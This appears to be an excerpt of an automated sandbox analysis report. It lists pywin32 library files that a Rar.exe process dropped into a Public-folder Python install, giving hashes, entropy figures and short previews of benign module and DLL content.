Preview:	# Generated by h2py from \mssdk\include\winnt.h..APPLICATION_ERROR_MASK = 536870912.ERROR_SEVERITY_SUCCESS = 0.ERROR_SEVERITY_INFORMATIONAL = 1073741824.ERROR_SEVERITY_WARNING = -2147483648.ERROR_SEVERITY_ERROR = -1073741824.MINCHAR = 128.MAXCHAR = 127.MINSHORT = 32768.MAXSHORT = 32767.MINLONG = -2147483648.MAXLONG = 2147483647.MAXBYTE = 255.MAXWORD = 65535.MAXDWORD = -1.LANG_NEUTRAL = 0.LANG_AFRIKAANS = 54.LANG_ALBANIAN = 28.LANG_ARABIC = 1.LANG_BASQUE = 45.LANG_BELARUSIAN = 35.LANG_BULGARIAN = 2.LANG_CATALAN = 3.LANG_CHINESE = 4.LANG_CROATIAN = 26.LANG_CZECH = 5.LANG_DANISH = 6.LANG_DUTCH = 19.LANG_ENGLISH = 9.LANG_ESTONIAN = 37.LANG_FAEROESE = 56.LANG_FARSI = 41.LANG_FINNISH = 11.LANG_FRENCH = 12.LANG_GERMAN = 7.LANG_GREEK = 8.LANG_HEBREW = 13.LANG_HINDI = 57.LANG_HUNGARIAN = 14.LANG_ICELANDIC = 15.LANG_INDONESIAN = 33.LANG_ITALIAN = 16.LANG_JAPANESE = 17.LANG_KOREAN = 18.LANG_LATVIAN = 38.LANG_LITHUANIAN = 39.LANG_MACEDONIAN = 47.LANG_MALAY = 62.LANG_NORWEGIAN = 20.LANG_POLISH = 21

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\winperf.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5911
Entropy (8bit):	4.465756105097943
Encrypted:	false
SSDEEP:	96:7PZRsJXrfE8ya78yd8ysr8yH78ywZSRhORN6y/o8yJ078Tm6Pt1R7ny+7nTS1pQJ:lRsJrfEG7BYrD7tM0q7W7x7ka1+YSwSm
MD5:	00BBE05FD99166836678F90A9911A478
SHA1:	EF0A2B4DC2AC55643E7F2326942612586D653F46
SHA-256:	A787E682F6200CF1F0DCCBD48E90F758B969C95DBFEB5430651AC41E1658FE06
SHA-512:	6ED6367F7C02805991E56F2BEB88928A9A34EB02ABBFA4E6C4AB189F516CC053C9C740B9C1D8C0B828E4574924141888A66AB46DFF7399869F19525325E837ED
Malicious:	false
Reputation:	low
Preview:	# Generated by h2py from winperf.h.PERF_DATA_VERSION = 1.PERF_DATA_REVISION = 1.PERF_NO_INSTANCES = -1.PERF_SIZE_DWORD = 0x00000000.PERF_SIZE_LARGE = 0x00000100.PERF_SIZE_ZERO = 0x00000200.PERF_SIZE_VARIABLE_LEN = 0x00000300.PERF_TYPE_NUMBER = 0x00000000.PERF_TYPE_COUNTER = 0x00000400.PERF_TYPE_TEXT = 0x00000800.PERF_TYPE_ZERO = 0x00000C00.PERF_NUMBER_HEX = 0x00000000.PERF_NUMBER_DECIMAL = 0x00010000.PERF_NUMBER_DEC_1000 = 0x00020000.PERF_COUNTER_VALUE = 0x00000000.PERF_COUNTER_RATE = 0x00010000.PERF_COUNTER_FRACTION = 0x00020000.PERF_COUNTER_BASE = 0x00030000.PERF_COUNTER_ELAPSED = 0x00040000.PERF_COUNTER_QUEUELEN = 0x00050000.PERF_COUNTER_HISTOGRAM = 0x00060000.PERF_TEXT_UNICODE = 0x00000000.PERF_TEXT_ASCII = 0x00010000.PERF_TIMER_TICK = 0x00000000.PERF_TIMER_100NS = 0x00100000.PERF_OBJECT_TIMER = 0x00200000.PERF_DELTA_COUNTER = 0x00400000.PERF_DELTA_BASE = 0x00800000.PERF_INVERSE_COUNTER = 0x01000000.PERF_MULTI_COUNTER = 0x02000000.PERF_DISPLAY_NO_SUFFIX = 0x00000000.PERF_DISPLAY_PE

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\lib\winxptheme.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	254
Entropy (8bit):	4.614942657274806
Encrypted:	false
SSDEEP:	6:svKVMrg55fqwkAsQPlRGGR0khyRCuXp3FxXFZF/+/z5GEH0LJln:iKV3v7zN1R0khykuZnhW/MEHyJl
MD5:	AFA2616539DD48A88AA2E7071342A977
SHA1:	B54B743581965E75D2AC912AD4AC450E0C3164D4
SHA-256:	11B834A54993AE29F7334391BDF7B05F3731A99180D4B376D0ED0ABB3E07B8DF
SHA-512:	93E9916B9729ECED9ED6409945BD7E39BA644EFB08C3D21674ECB55D316EABE3AA025E1384BA3D05722F123A99A4A155E612377E3F66376FCABAE66AEF56E4DA
Malicious:	false
Reputation:	low
Preview:	"""A useful wrapper around the "_winxptheme" module...Originally used when we couldn't be sure Windows XP apis were going to.be available. In 2022, it's safe to assume they are, so this is just a wrapper.around _winxptheme..""".from _winxptheme import *.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\libs\pywintypes.lib

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	current ar archive
Category:	dropped
Size (bytes):	105046
Entropy (8bit):	5.468277487512252
Encrypted:	false
SSDEEP:	1536:Yo1NEllyTdHG0maB6OHP78QiCTWsAO+GmBM:5TdHF6S8Ab+G
MD5:	19F6BCA56A9CF416E09E06C744F0C0E7
SHA1:	352E73AF0A6662D367BDCC203132E5CA32BECD30
SHA-256:	BE8CEACBE3565722C61FB025EF609A5CDC732EEC4448653F5B4107DF1F1487DF
SHA-512:	23D00A61EDF83C115BEF7B014B02309BD0174A802BEAA6CBAB80D8F876198D64AED693D6E6752145D3E231869FE4E77D01EDB6CC4B4B5DB3B91003B69985DDAB
Malicious:	false
Reputation:	low
Preview:	!<arch>./ -1 0 29986 `....O...T.....................*$.......b..t...t....X...X.........0...0..,:..,:..,...,...1...1....................J...J...........h...h...z...z...........P...P........................... ... ...X...X..................-x..-x..(v..(v..$...$...?...?...:...:...........m...m....B...B...........................$...$...r...r........................................................................$...$.......................#...#....f...f...........<...<...................8...8...........H...H...................@...@...................Z...Z...........................................6...6...f...&..~...+...X~..X~..B&..B&...@...@..................u^..u^..........."..."...&...&.........@...@..zr..zr..........{...{...........y...y....,...........6...6..R...R...ZH..ZH..D...D...u...u...........t@..t@..........s...s....\|...\|...................X...X...........................................p...p...........D...D..........{...{.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\mmapfile.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17920
Entropy (8bit):	5.822660648618855
Encrypted:	false
SSDEEP:	384:Q+UL/q4Cs1L32Dk3J3zfXf/PULQjduSzulBAaAdCqeiJOU+:Cqk73J3zfXfLugcGEzLU+
MD5:	2A754EF14BB6BDEE5D63F4827581F586
SHA1:	A106AC33A6FAD450C7179FD0A2EA34E7E87E9242
SHA-256:	AAD5E5A3180A66E9B594E9B6854241F91C58D2218D7ED4FFEAAEA3FD171D98D4
SHA-512:	B97899051064FF95540F3C7728BE8939CE08B8845726E9A4600387A5DC2A9C5D62FCE345C98744696DA80148F4DFB2BBEFD06B142275E615202F892FC7BC6DF5
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........H...)p..)p..)p..Q...)p.\q..)p..Bq..)p.\u..)p.\t..)p.\s..)p.4\q..)p.R@q..)p..)q.)p.4\y..)p.4\p..)p.4\r..)p.Rich.)p.........................PE..L......d...........!....."... ......u!.......@............................................@..........................I..P....I..x....p..\.......................D....D..T............................D..@............@..$............................text....!.......".................. ..`.rdata.......@.......&..............@..@.data........`.......8..............@....rsrc...\....p.......<..............@..@.reloc..D............@..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\odbc.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	6.0706493448180305
Encrypted:	false
SSDEEP:	768:K/m+OllJEdSFcReeELPXFriF5pERpxx2HvLD:qm+OVeExuF5pERpxUL
MD5:	F816A7D3E94862696A44B6369DFB2EA9
SHA1:	8852284DC02612F83AA4066564F16D803CF9749B
SHA-256:	00F11A5A963F930A263D866A2B6414B3835A51E9C3EC91AAD0668B9E14BF50E6
SHA-512:	FAE02DDAB39E207087ED89FEF50ECA368DEBB22D2EAC6D4268AC1F53C6D64C3E516CDB4A23FDC1649860C2EDCCEC44DEDED84A2F0BE7A7FC5C7EC1501FE60F2F
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C. .".s.".s.".s.ZKs.".s.W.r.".s.W.r.".s.W.r.".s.W.r.".s.W.r.".spK.r.".s.I.r.".s.".sP".s.W.r.".s.W.r.".s.W.r.".sRich.".s................PE..L......d...........!.....L...6.......M.......`............................................@......................... r..H...hr..........L.......................L...4l..T............................l..@............`..<............................text...+K.......L.................. ..`.rdata.......`... ...P..............@..@.data...l............p..............@....rsrc...L............x..............@..@.reloc..L............\|..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\perfmon.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	23040
Entropy (8bit):	5.7004102661011204
Encrypted:	false
SSDEEP:	384:ni14OW/KNbivlL7p95MlMHMyM60QYMuVGSLNpuKMjwaahTO3KBQ77d1qGQCilGN:COKNAlL7VMlMHMyM60QYMu8SZpuiRVey
MD5:	1DBE59165907DA9B1EB6CFD713D12B00
SHA1:	7EDD94FFCB589CB68D33125ADC3AF3F7A0D82C41
SHA-256:	E0E5897DC50BBF76DD32730216992FF402A799ED0FF8DF338F6CDF59C385348B
SHA-512:	B135532F44B4E1F945BD24ABE559A120CE37F06BB75300540C852D71BC22F214323C2B96E103C5C862F8E396C1933A4150A06BF3B33EBD8F295C600EBDE81F44
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......R"K..C%_.C%_.C%_.;._.C%_D6$^.C%_.($^.C%_D6 ^.C%_D6!^.C%_D6&^.C%_.6$^.C%_.$^.C%_.C$_RC%_.6,^.C%_.6%^.C%_.6'^.C%_Rich.C%_........................PE..L......d...........!.........(......v.......@............................................@..........................M..P...@N.......p..T.......................(....G..T...........................`G..@............@..,............................text...3,.......................... ..`.rdata..d....@.......2..............@..@.data...t....`.......J..............@....rsrc...T....p.......P..............@..@.reloc..(............T..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\perfmondata.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	5.519899099469349
Encrypted:	false
SSDEEP:	384:6V8rwsZ9DOOAXldyxfF6jdeq75G3hOO/pOFK9:6VZvldyHS74PhO49
MD5:	08B864ADB87687152CD57999ABD5FE1A
SHA1:	3F3EF6CBEDC9E8E22ECF573F3D00DB889C61FA0D
SHA-256:	D49156080F394B23CC595AB6630125A20BAF16F2B8904B3133987D4F3F18B9DC
SHA-512:	6119F3A3CCCEF5921376665007C37893023D896DEEF09C98BD76EC44E1588A51F8A953126F0163669F71F46EC6C8CF484A427EC1BC0BF08F73656898D7880E4E
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......yt.T=...=...=...4m..9...o`..?...o`..7...o`..7...o`..<...)~..8...=........`..<....`..<....`\|.<....`..<...Rich=...................PE..L......d...........!................k .......0...............................p............@.........................@7.......7..x....P..,....................`......02..T............................2..@............0...............................text............................... ..`.rdata.......0......."..............@..@.data........@.......0..............@....rsrc...,....P.......2..............@..@.reloc.......`.......<..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\pythonservice.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17408
Entropy (8bit):	5.441828005763723
Encrypted:	false
SSDEEP:	384:XeJOXLVXp5ftMPeG6pPjf374xkLn2JxbRqDNIhl:Xe8X/BtMWG6pz37eYSFRqDNIh
MD5:	78F6F257CF3AA97F4261749A37968A5F
SHA1:	7A6F6DB50ECB6EA66DF5A12EBF282682EC634453
SHA-256:	E753C57CC2F31A888BAF162EB9B28C771BDFABFCE5AB977969EE7D957DD5270B
SHA-512:	A0A177AE9E98C6FA5C95666D2359E29107EAFBB12483B073CBFF1E42854A979E42D8B49780F536B906D15AF83809780B0C805B11A4D0CB0BE5A704B75BC184C5
Malicious:	false
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k.....\...\...\.rj\...\...]...\...]...\...]...\...]...\...]...\.c.]...\.a.]...\...\...\...]...\...\...\...]...\Rich...\........................PE..L...,..d....................."...............0....@.......................................@..................................9.......`.......................p..L....4..T...........................P5..@............0...............................text...3........................... ..`.rdata..8....0......."..............@..@.data........P.......8..............@....rsrc........`.......<..............@..@.reloc..L....p.......@..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\scripts\ControlService.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	18043
Entropy (8bit):	4.297873544548919
Encrypted:	false
SSDEEP:	192:iCQsViutcVu/s7ncf1wqad7fOXuH+nUpTr4:iC7GcTad7fOXuH+nM4
MD5:	4FC327FDD744665C26F3E21B58E3D385
SHA1:	C1B6060579286A5695870769547244211DE35794
SHA-256:	511A0E1F785C7643E8FF535245A3F0710005F161A5428D522E352D760C102393
SHA-512:	13AFDE4113282AF90B53D1E597749777F3B3FA6C9BB268B80398D5B878AA41D9B44D31E2D310E24CCA025A919E707B37E41F5EE6611D327C9522B680DD3F89C6
Malicious:	false
Reputation:	low
Preview:	# ControlService.py.#.# A simple app which duplicates some of the functionality in the.# Services applet of the control panel..#.# Suggested enhancements (in no particular order):.#.# 1. When changing the service status, continue to query the status.# of the service until the status change is complete. Use this.# information to put up some kind of a progress dialog like the CP.# applet does. Unlike the CP, allow canceling out in the event that.# the status change hangs..# 2. When starting or stopping a service with dependencies, alert.# the user about the dependent services, then start (or stop) all.# dependent services as appropriate..# 3. Allow toggling between service view and device view.# 4. Allow configuration of other service parameters such as startup.# name and password..# 5. Allow connection to remote SCMs. This is just a matter of.# reconnecting to the SCM on the remote machine; the rest of the.# code should still work the same..# 6. Either implement the startup parameter

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\scripts\VersionStamp\BrandProject.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2789
Entropy (8bit):	4.683118967004213
Encrypted:	false
SSDEEP:	48:CUAgR5xR8uwd8pI8Q5IqnA3aze4v2EaXBbKzaIOZ4KKi5XMK7c:CVgRp8uwd8pI8QSh3aze4v2EaxbKPOZS
MD5:	A84154C766E7562DA3A8FBA7352394A5
SHA1:	2F865533CE526A05C840CF3AE13A24364F9763BE
SHA-256:	2851E3C6A67762E73A406A95EC6BFC0C8326D4F6C24271CD089853368A86518A
SHA-512:	AA3323C9D3004AF8F51EC20EAFCB61CA41701B49845CDDA40D2C753D35980DB77243DCF15DACE8B63750D083DED600CACB659FC64BFF38A9035F4BB07AC7AEAC
Malicious:	false
Reputation:	low
Preview:	# BrandProject.py.#.# Brand a VSS project with a "build number", then optionally.# stamp DLL/EXE files with version information...import os.import string.import sys..import bulkstamp.import vssutil.import win32api...def BrandProject(. vssProjectName,. descFile,. stampPath,. filesToSubstitute,. buildDesc=None,. auto=0,. bRebrand=0,.):. # vssProjectName -- The name of the VSS project to brand.. # descFile -- A test file containing descriptions of the files in the release.. # stampPath -- The full path to where the files referenced in descFile can be found.. path = win32api.GetFullPathName(stampPath).. build = vssutil.MakeNewBuildNo(vssProjectName, buildDesc, auto, bRebrand). if build is None:. print("Cancelled"). return.. bulkstamp.scan(build, stampPath, descFile). for infile, outfile in filesToSubstitute:. SubstituteVSSInFile(vssProjectName, infile, outfile). return 1...def usage(msg):. print(msg). print(.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\scripts\VersionStamp\bulkstamp.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	4207
Entropy (8bit):	4.3918564406115115
Encrypted:	false
SSDEEP:	96:JJUsZxWPFVUfLIwJg+0L+0fy94bB1G+x3qafWWlxx84V1Hzvqs:JJVxWDUBJR0L+B4jGZafWWrx3Hzvqs
MD5:	3DAF8F9FB9BE8BBE4AF313F518CECDEF
SHA1:	743AFB529F2798F0CF774FB451BF8BFD83AC261A
SHA-256:	76A2C2F847AF7D90ABA65C5F39306E23551F52F2FB7686CF45AB3F4E6C96F635
SHA-512:	DBAAED775B3F922A2F2B09EC57DABC8D0F3C8E8DC66317407D882550C58F077720F05AECDCDBAE9A2FA997CCE733A84D7B9F880C64F2791E58C5A8BED31BDD9F
Malicious:	false
Reputation:	low
Preview:	#.# bulkstamp.py:.# Stamp versions on all files that can be found in a given tree..#.# USAGE: python bulkstamp.py <version> <root directory> <descriptions>.#.# Example: python bulkstamp.py 103 ..\win32\Build\ desc.txt.#.# <version> corresponds to the build number. It will be concatenated with.# the major and minor version numbers found in the description file..#.# Description information is pulled from an input text file with lines of.# the form:.#.# <basename> <white space> <description>.#.# For example:.#.# PyWinTypes.dll Common types for Python on Win32.# etc.#.# The product's name, major, and minor versions are specified as:.#.# name <white space> <value>.# major <white space> <value>.# minor <white space> <value>.#.# The tags are case-sensitive..#.# Any line beginning with "#" will be ignored. Empty lines are okay..#..import fnmatch.import os.import sys..import verstamp.import win32api..numStamped = 0..g_patterns = [. ".dll",. ".pyd",. "*.exe",.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\scripts\VersionStamp\vssutil.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script text executable Python script, ASCII text executable
Category:	dropped
Size (bytes):	5690
Entropy (8bit):	4.631936788839383
Encrypted:	false
SSDEEP:	96:i7w5LSUoVs8wS87n/R2QXfPAEdr3wUsUt2DUxY2dcXTl3UVTRgtjkzFidMl0+xK3:IUobwSan/R2QxdhpxVqXREVTeqc+xaB
MD5:	CAEB3C147B18ED16091C79BED0124013
SHA1:	AF38CCF2C2D6B612BB236A741349BAEC414553F1
SHA-256:	29D4CAC8631D01D1ABFDFDF26B8DEE88EF22EBEF484C50238BCAC8DF1FEAD2CC
SHA-512:	1C4BA38FBCA369E1E1375C250FD619C45895AB06ED9417053A8CAC5059176F54C126BC61AF7F3D3A3B100FBAA7B5862F307B475F7F184DD960092B3D5A414D7A
Malicious:	false
Reputation:	low
Preview:	import string.import time.import traceback..import pythoncom.import win32com.client.import win32com.client.gencache.import win32con..constants = win32com.client.constants..win32com.client.gencache.EnsureModule("{783CD4E0-9D54-11CF-B8EE-00608CC9A71F}", 0, 5, 0)..error = "vssutil error"...def GetSS():. ss = win32com.client.Dispatch("SourceSafe"). # SS seems a bit weird. It defaults the arguments as empty strings, but. # then complains when they are used - so we pass "Missing". ss.Open(pythoncom.Missing, pythoncom.Missing, pythoncom.Missing). return ss...def test(projectName):. ss = GetSS(). project = ss.VSSItem(projectName).. for item in project.GetVersions(constants.VSSFLAG_RECURSYES):. print(item.VSSItem.Name, item.VersionNumber, item.Action)...# .item=i.Versions[0].VSSItem.# .for h in i.Versions:.# ..print `h.Comment`, h.Action, h.VSSItem.Name...def SubstituteInString(inString, evalEnv):. substChar = "$". fields = string.split(inString, substChar)

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\scripts\backupEventLog.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1268
Entropy (8bit):	4.508504303752949
Encrypted:	false
SSDEEP:	24:8FWqM5oI3Zqiiko/B/cdyXKe1KLEnK4mnR3YvUN84+JApAtGh:Tq4oI3YuSVW7e1K4lmnRpN8JJAuM
MD5:	3DE21CB285822AB13A643A67AE18808E
SHA1:	70EAD65A85909EDAD23FA14EA2A6FBAF4F798BA1
SHA-256:	9AFCB5B2D0C07224554E5A1B2DD0954092A09AE1B30824376CBD29CEA44340E4
SHA-512:	50EF3A5013DB970DAAE33AA57A752F6036CEC7B99012E9436C8E5A1517BE5A676EF820CDDFA80DC22C9ABA7451739AE96039E7A0A534BA173BAC24CC9F7C7FB6
Malicious:	false
Reputation:	low
Preview:	# Generate a base file name.import os.import time..import win32api.import win32evtlog...def BackupClearLog(logType):. datePrefix = time.strftime("%Y%m%d", time.localtime(time.time())). fileExists = 1. retry = 0. while fileExists:. if retry == 0:. index = "". else:. index = "-%d" % retry. try:. fname = os.path.join(. win32api.GetTempPath(),. "%s%s-%s" % (datePrefix, index, logType) + ".evt",. ). os.stat(fname). except os.error:. fileExists = 0. retry = retry + 1. # OK - have unique file name.. try:. hlog = win32evtlog.OpenEventLog(None, logType). except win32evtlogutil.error as details:. print("Could not open the event log", details). return. try:. if win32evtlog.GetNumberOfEventLogRecords(hlog) == 0:. print("No records in event log %s - not backed up" % logType). return. win32e

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\scripts\ce\pysynch.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	8273
Entropy (8bit):	4.506389676116937
Encrypted:	false
SSDEEP:	96:jb+gnqVXwnUVqIAbmz/BiN0ldUGCIp7BwVy1Hu/3w8Ed6ZJvQPsrQyKrztxPbHAT:2oaS0zT0fEd62ZhsqdSxmS+S+vUHkHi
MD5:	8AE8F1287D1CA8C90E8041E451510529
SHA1:	A345CF8CD0F4D2D102F1312E99EA12161EBE3709
SHA-256:	36F8729DBF8A7B648F4392875EF310DD1EC6F670F51219DD7876C67C941F0509
SHA-512:	215573442BCEB635CF5EECBA1912EECE075CD849125446E58DAC8443A264FC13C5374F99F1C7C83CA42839E8A7202B34B6591AD825757378917A67453914ACB3
Malicious:	false
Reputation:	low
Preview:	# Simple CE synchronisation utility with Python features...import fnmatch.import getopt.import os.import string.import sys..import win32api.import win32con.import win32file.import wincerapi...class InvalidUsage(Exception):. pass...def print_error(api_exc, msg):. hr, fn, errmsg = api_exc. print("%s - %s(%d)" % (msg, errmsg, hr))...def GetFileAttributes(file, local=1):. if local:. return win32api.GetFileAttributes(file). else:. return wincerapi.CeGetFileAttributes(file)...def FindFiles(spec, local=1):. if local:. return win32api.FindFiles(spec). else:. return wincerapi.CeFindFiles(spec)...def isdir(name, local=1):. try:. attr = GetFileAttributes(name, local). return attr & win32con.FILE_ATTRIBUTE_DIRECTORY. except win32api.error:. return 0...def CopyFileToCe(src_name, dest_name, progress=None):. sh = win32file.CreateFile(. src_name, win32con.GENERIC_READ, 0, None, win32con.OPEN_EXISTING, 0, None. ).

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\scripts\killProcName.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	1994
Entropy (8bit):	4.626371651169389
Encrypted:	false
SSDEEP:	48:ZIaltbtF61tB8UbtsTIgP70kWkHDHbJTJngTlM0yvVDb6kXi4GdUe:5DFqmssEgP7TbbJTJH0gfTXi4Pe
MD5:	CF3D42D61D5ABEA7E4F7AC5279237F75
SHA1:	670323D1F0651A3800E503E058D6734A7683FA2B
SHA-256:	DAC26F4040B87A3D9E8A49EE4A08696A280EBC9710E39B98C576B7E322002DF8
SHA-512:	5F655E0A28FFC6FD73628F7A9068875CACBBF66193CDE7C3CEB162164BACD152C5CB9DD8A777550312A95F4EB984933CDA8B9B49CBAAFACAEADAB725C9DC2721
Malicious:	false
Reputation:	low
Preview:	# Kills a process by process name.#.# Uses the Performance Data Helper to locate the PID, then kills it..# Will only kill the process if there is only one process of that name.# (eg, attempting to kill "Python.exe" will only work if there is only.# one Python.exe running. (Note that the current process does not.# count - ie, if Python.exe is hosting this script, you can still kill.# another Python.exe (as long as there is only one other Python.exe)..# Really just a demo for the win32pdh(util) module, which allows you.# to get all sorts of information about a running process and many.# other aspects of your system...import sys..import win32api.import win32con.import win32pdhutil...def killProcName(procname):. # Change suggested by Dan Knierim, who found that this performed a. # "refresh", allowing us to kill processes created since this was run. # for the first time.. try:. win32pdhutil.GetPerformanceAttributes("Process", "ID Process", procname). except:. p

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\scripts\rasutil.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	2722
Entropy (8bit):	4.5589989171602765
Encrypted:	false
SSDEEP:	48:XdgqmyiL1X69f0+FaGtOJ/kpZAbAKSck7/zir0/PNX/hJyJPrdby8pFdfeg79yGT:XdgqZiL1K9xFnprAbA8k7/zt/VX/hqrF
MD5:	11B0D54C2FF5F7A09F058B2F0007E51C
SHA1:	5B7DBCC531E668CED8A64E77E8B3ECAEA74F1EFF
SHA-256:	CC4BD24331F177797371A0F6F725F8D370A544B95C9C1471B9CE52D9C7A0BF0D
SHA-512:	78829C0E9851BC8D6D44C212BDABE4FD72652EA00F3DE784B8DA8813DD09820D7F6ECB9F1187DB3F11CDF625BF0888A2056978CD0F76CA820852D5B1FEF28F2B
Malicious:	false
Reputation:	low
Preview:	# A demo of using the RAS API from Python.import sys..import win32ras...# The error raised if we can not.class ConnectionError(Exception):. pass...def Connect(rasEntryName, numRetries=5):. """Make a connection to the specified RAS entry... Returns a tuple of (bool, handle) on success.. - bool is 1 if a new connection was established, or 0 is a connection already existed.. - handle is a RAS HANDLE that can be passed to Disconnect() to end the connection... Raises a ConnectionError if the connection could not be established.. """. assert numRetries > 0. for info in win32ras.EnumConnections():. if info[1].lower() == rasEntryName.lower():. print("Already connected to", rasEntryName). return 0, info[0].. dial_params, have_pw = win32ras.GetEntryDialParams(None, rasEntryName). if not have_pw:. print("Error: The password is not saved for this connection"). print(. "Please connect manually selecting the 'save

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\scripts\regsetup.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	20460
Entropy (8bit):	4.586626567064987
Encrypted:	false
SSDEEP:	384:fJoTy/B6H8DfSp6KH3O0mV35PPWjvVWC3qxRS:fJoTyJ6HgKXO0U5PPWhqS
MD5:	D7E5CFFE47C88CA037338FD94EA1AF5B
SHA1:	CD59B2438108227FA97263805B7C4E7D9956B1A5
SHA-256:	8A54BCF838F37CB1F49074DC2254AF3EA57926C2ACCD8C5CF201F9C554BD186E
SHA-512:	60D03ACE715A73DA2B695BF1B8448A52488D82FDB79CAB48FB4591717C0AD107AA68545B9C240A750728E6BD7FA258BE4C70C1C764EF5CC2FEE425814319676A
Malicious:	false
Reputation:	low
Preview:	# A tool to setup the Python registry....class error(Exception):. pass...import sys # at least we can count on this!...def FileExists(fname):. """Check if a file exists. Returns true or false.""". import os.. try:. os.stat(fname). return 1. except os.error as details:. return 0...def IsPackageDir(path, packageName, knownFileName):. """Given a path, a ni package name, and possibly a known file name in. the root of the package, see if this path is good.. """. import os.. if knownFileName is None:. knownFileName = ".". return FileExists(os.path.join(os.path.join(path, packageName), knownFileName))...def IsDebug():. """Return "_d" if we're running a debug version... This is to be used within DLL names when locating them.. """. import importlib.machinery.. return "_d" if "_d.pyd" in importlib.machinery.EXTENSION_SUFFIXES else ""...def FindPackagePath(packageName, knownFileName, searchPaths):. """Find a package.

C:\Users\Public\QExvbmVOb25l\Lib\site-packages\win32\scripts\setup_d.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	4.703409335080606
Encrypted:	false
SSDEEP:	96:zz6vYYgifc7r7hVqHUYq6xU9LoJSvkzzgxRqI+ikT8J:zzpT7nhVqjlxU16hzgLqZjT8J
MD5:	4F4E28EE25DADE82161FD7FF394CB7B6
SHA1:	C37C8B0D10E0C757D1CD44AD1C718C69935416D6
SHA-256:	1C286DCFADB16AAEEB70F5D0CB0BCAE51084B00E58228896E1B0FA942A7A5098
SHA-512:	F624877D4C8A1CBCAB71FB548071CD06B0C835E4B9B4310540111649B71810AD3F1D56F15A4A54816B91093D6D883D0154C59119172092BF95057A5D2A019CD8
Malicious:	false
Reputation:	low
